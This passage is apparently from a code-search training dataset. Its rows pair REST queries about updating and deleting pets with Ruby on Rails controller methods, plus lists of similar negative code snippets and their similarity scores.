"0.622892",
"0.6228394",
"0.62160105",
"0.62133455",
"0.6206123",
"0.6204976",
"0.6201753",
"0.61939704",
"0.619102",
"0.61893976",
"0.6164527",
"0.6157699",
"0.61529243",
"0.6152788",
"0.61317176",
"0.6113706",
"0.61099803",
"0.6104427",
"0.61002994",
"0.6078643",
"0.6074737",
"0.60648894",
"0.6063761",
"0.60386",
"0.6029947",
"0.60085183",
"0.60040367",
"0.59966147",
"0.59761465",
"0.59734803",
"0.596305",
"0.5948492",
"0.59405506",
"0.5930962",
"0.59148425",
"0.5906766",
"0.5892311",
"0.5882417",
"0.5880871",
"0.5873497",
"0.5833719",
"0.5818248",
"0.58078206",
"0.5785746",
"0.5775635",
"0.57755613",
"0.57719797",
"0.5763049",
"0.5754444",
"0.5744153",
"0.5744028",
"0.5738897",
"0.57379085",
"0.5734995",
"0.5723776",
"0.5696599",
"0.56943095",
"0.5692312",
"0.56920123",
"0.5688308",
"0.5684619",
"0.56813824",
"0.56636876",
"0.565539",
"0.5647957",
"0.5639789",
"0.56372213",
"0.562707",
"0.5619821"
] | 0.634393 | 22 |
PATCH/PUT /pets/1 PATCH/PUT /pets/1.json | def update
@client = Client.find params[:client_id]
respond_to do |format|
if @pet.update(pet_params)
format.html { redirect_to client_pet_path(@client,@pet), notice: 'Datos de mascota actualizados.' }
else
format.html { render :edit }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to root_path, notice: 'Pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render json: {\"message\" => \"Pet was successfully updated\", \"success\" => true, \"data\" => @pet}, status: :created, location: @pet }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: I18n.t(\"pets.show.updated\") }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @pet_true.update(pet_true_params)\n format.html { redirect_to @pet_true, notice: 'Pet true was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pet_true.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: I18n.t('Pet card was successfully updated') }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Mascota fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update_pet_with_http_info(pet, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.update_pet ...'\n end\n # verify the required parameter 'pet' is set\n if @api_client.config.client_side_validation && pet.nil?\n fail ArgumentError, \"Missing the required parameter 'pet' when calling PetApi.update_pet\"\n end\n # resource path\n local_var_path = '/pet'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/xml'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(pet)\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.update_pet\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#update_pet\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @petdetail = Petdetail.find(params[:id])\n\n respond_to do |format|\n if @petdetail.update_attributes(params[:petdetail])\n format.html { redirect_to @petdetail, notice: 'Petdetail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @petdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n flash[:notice] = 'Pet was successfully updated.'\n format.html { redirect_to(@pet) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pet.errors, :lost => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question_pet.update(question_pet_params)\n format.html { redirect_to @question_pet, notice: 'Question pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_pet }\n else\n format.html { render :edit }\n format.json { render json: @question_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet.update(pet_params)\n redirect_to \"/pets/#{pet_id}\"\n end",
"def update\n respond_to do |format|\n if @pet_item.update(pet_item_params)\n format.html { redirect_to @pet_item, notice: 'Pet item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pet_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @adopted_pet.update(adopted_pet_params)\n format.html { redirect_to @adopted_pet, notice: 'Adopted pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @adopted_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @adopted_pet.update(adopted_pet_params)\n format.html { redirect_to @adopted_pet, notice: 'Adopted pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @adopted_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # find_pet\n @pet.update(pet_params)\n redirect_to pet_path(@pet)\n end",
"def put!\n request! :put\n end",
"def update\n @lost_pet = LostPet.find(params[:id])\n\n respond_to do |format|\n if @lost_pet.update_attributes(params[:lost_pet])\n format.html { redirect_to @lost_pet, notice: 'Lost pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lost_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @pet.update(pet_params)\n redirect_to owner_pets_url(@pet.owner), notice: 'Pet was successfully updated.'\n else\n render :edit\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_pet.update(line_pet_params)\n format.html { redirect_to @line_pet, notice: 'Line pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @pet.update(pet_params)\n redirect_to pets_path, success: 'Votre animal a bien été modifié'\n else\n render :edit\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Has registrado a tu mascota' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n if @moose.update_attributes(params[:moose])\n format.html { redirect_to @moose, notice: 'Moose was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moose.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end",
"def update_pet_with_form_with_http_info(pet_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.update_pet_with_form ...'\n end\n # verify the required parameter 'pet_id' is set\n if @api_client.config.client_side_validation && pet_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pet_id' when calling PetApi.update_pet_with_form\"\n end\n # resource path\n local_var_path = '/pet/{petId}'.sub('{' + 'petId' + '}', CGI.escape(pet_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['name'] = opts[:'name'] if !opts[:'name'].nil?\n form_params['status'] = opts[:'status'] if !opts[:'status'].nil?\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.update_pet_with_form\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#update_pet_with_form\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @typeofpet.update(typeofpet_params)\n format.html { redirect_to @typeofpet, notice: 'Typeofpet was successfully updated.' }\n format.json { render :show, status: :ok, location: @typeofpet }\n else\n format.html { render :edit }\n format.json { render json: @typeofpet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { render :show, status: :ok, location: @patch }\n else\n format.html { render :edit }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend",
"def patch(path, opts = {})\n request(:patch, path, opts).body\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end",
"def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n else\n @person.update person_params\n render json: @person\n end\n end",
"def update\n if @diet.update(diet_params)\n head :no_content, status: 204\n else\n render json: @diet.errors, status: 422\n end\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def patch\n end",
"def update\n @trumpet = Trumpet.find(params[:id])\n\n respond_to do |format|\n if @trumpet.update_attributes(params[:trumpet])\n format.html { redirect_to @trumpet, notice: 'Trumpet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trumpet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.json { render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def update\n @pocket = Pocket.find(params[:id])\n\n respond_to do |format|\n if @pocket.update_attributes(params[:pocket])\n format.html { redirect_to @pocket, notice: 'Pocket was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pocket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n if @vet.update_attributes(params[:vet])\n format.html { redirect_to @vet, notice: 'Vet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def patch\n req.patch?\n end",
"def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end",
"def update\n @petition = Petition.find(params[:id])\n\n respond_to do |format|\n if @petition.update_attributes(params[:petition])\n format.html { redirect_to @petition, notice: 'Petition was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @petition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end",
"def update\n respond_to do |format|\n if @pet_breed.update(pet_breed_params)\n format.html { redirect_to pet_type_path(@pet_breed.pet_type), notice: 'Pet breed was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet_breed }\n else\n format.html { render :edit }\n format.json { render json: @pet_breed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = {\n 'op' => operation,\n 'path' => path,\n 'value' => value\n }\n response = @client.rest_patch(@data['uri'], { 'Content-Type' => 'application/json-patch+json', 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end",
"def update\n @interesting = Interesting.find(params[:id])\n\n respond_to do |format|\n if @interesting.update_attributes(params[:interesting])\n format.html { redirect_to @interesting, notice: 'Interesting was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interesting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def update\n animal = Animal.find(params[:id])\n animal.update(animal_params)\n if animal.valid?\n render json: animal\n else\n render json: animal.errors\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def patch_params\n params.require(:patch).permit(:name)\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to foods_path(), notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n if @tags_of_novel.update_attributes(params[:tags_of_novel])\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to user_path(@user), notice: 'Pet was successfully updated.' }\n format.json { render json: @user, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n \n if @pet.update(pet_params)\n if params[:images]\n params[:images].each { |image|\n @pet.images.create(image: image)\n }\n end\n if params[:selected]\n params[:selected].each { |selecte|\n @pet.images.destroy(selecte)\n }\n end\n if pet_params[:solved]\n format.html { redirect_to @pet}\n else\n format.html { redirect_to @pet, notice: 'Publicación actualizada correctamente.' }\n end\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @animal = Animal.find(params[:id])\n @species = ['Lion', 'Koala', 'Panda']\n @zoo = Zoo.find(params[:zoo_id])\n\n respond_to do |format|\n\n if @animal.update_attributes(params[:animal])\n format.html { redirect_to zoo_animal_path(params[:zoo_id],@animal.id),\n notice: 'animal was successfully updated.' }\n format.json { head :no_content }\n else\n\n format.html { render action: \"edit\"}\n format.json { render json: @animal.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meteor = Meteor.find(params[:id])\n\n respond_to do |format|\n if @meteor.update_attributes(params[:meteor])\n format.html { redirect_to @meteor, notice: 'Meteor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meteor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"def update\n respond_to do |format|\n if @pet_breed.update(pet_breed_params)\n format.html { redirect_to @pet_breed, notice: 'Pet breed was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet_breed }\n else\n format.html { render :edit }\n format.json { render json: @pet_breed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n animal = Animal.find(params[:id])\n animal.update(animal_params)\n\n # if animal can be validated and updated then render the json\n if animal.valid?\n render json: animal\n else\n render json: animal.errors\n end\n end",
"def update\n respond_to do |format|\n if @trumpet.update(trumpet_params)\n format.html { redirect_to new_trumpet_url, notice: 'Trumpet was successfully updated.' }\n format.json { render :show, status: :ok, location: @trumpet }\n else\n format.html { render :edit }\n format.json { render json: @trumpet.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6922292",
"0.6913852",
"0.68434143",
"0.6791602",
"0.6760817",
"0.6760817",
"0.6760817",
"0.6760817",
"0.6760817",
"0.6760817",
"0.6746039",
"0.66579527",
"0.6571282",
"0.6497338",
"0.6474511",
"0.6447766",
"0.6432734",
"0.64289886",
"0.63764375",
"0.6368412",
"0.63189304",
"0.6317512",
"0.62842774",
"0.62713903",
"0.62713903",
"0.6253838",
"0.6253292",
"0.6251787",
"0.6190354",
"0.61664796",
"0.6166417",
"0.6155212",
"0.61497056",
"0.61328506",
"0.6127597",
"0.61240405",
"0.6118605",
"0.6086611",
"0.6086611",
"0.6047353",
"0.6047353",
"0.60382473",
"0.5971311",
"0.5958066",
"0.5946406",
"0.5938769",
"0.59181476",
"0.59168094",
"0.58785146",
"0.5874487",
"0.58623374",
"0.5855489",
"0.5845239",
"0.58370537",
"0.5826944",
"0.58252734",
"0.58245146",
"0.5803874",
"0.5797615",
"0.5796651",
"0.5789011",
"0.5786981",
"0.57767993",
"0.57744473",
"0.57687837",
"0.5764773",
"0.57593125",
"0.5753162",
"0.57493734",
"0.5746029",
"0.5746029",
"0.5743665",
"0.574291",
"0.574275",
"0.57309514",
"0.5728487",
"0.57242066",
"0.5722136",
"0.57177156",
"0.5712635",
"0.57095677",
"0.5704424",
"0.57033545",
"0.5703287",
"0.56989306",
"0.56881976",
"0.56842196",
"0.5681278",
"0.5677269",
"0.5677192",
"0.5677192",
"0.5675352",
"0.5673667",
"0.5666196",
"0.56645554",
"0.5661416",
"0.56602794",
"0.56581",
"0.5654502",
"0.5652303"
] | 0.6123776 | 36 |
DELETE /pets/1 DELETE /pets/1.json | def destroy
@client = Client.find params[:client_id]
@pet.destroy
respond_to do |format|
format.html { redirect_to client_pets_path(@client), notice: 'Mascota eliminada... Todos los perritos van al cielo' }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n pet = @user.pets.find(params[:id])\n pet.destroy\n render json: pet\n end",
"def pet_delete(pet)\n @db.delete(\"pets\", pet[\"id\"])\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: I18n.t(\"pets.index.destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to(pets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_pet.destroy\n respond_to do |format|\n format.html { redirect_to line_pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end",
"def destroy\n @petdetail = Petdetail.find(params[:id])\n @petdetail.destroy\n\n respond_to do |format|\n format.html { redirect_to petdetails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to pets_url, notice: 'Pet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
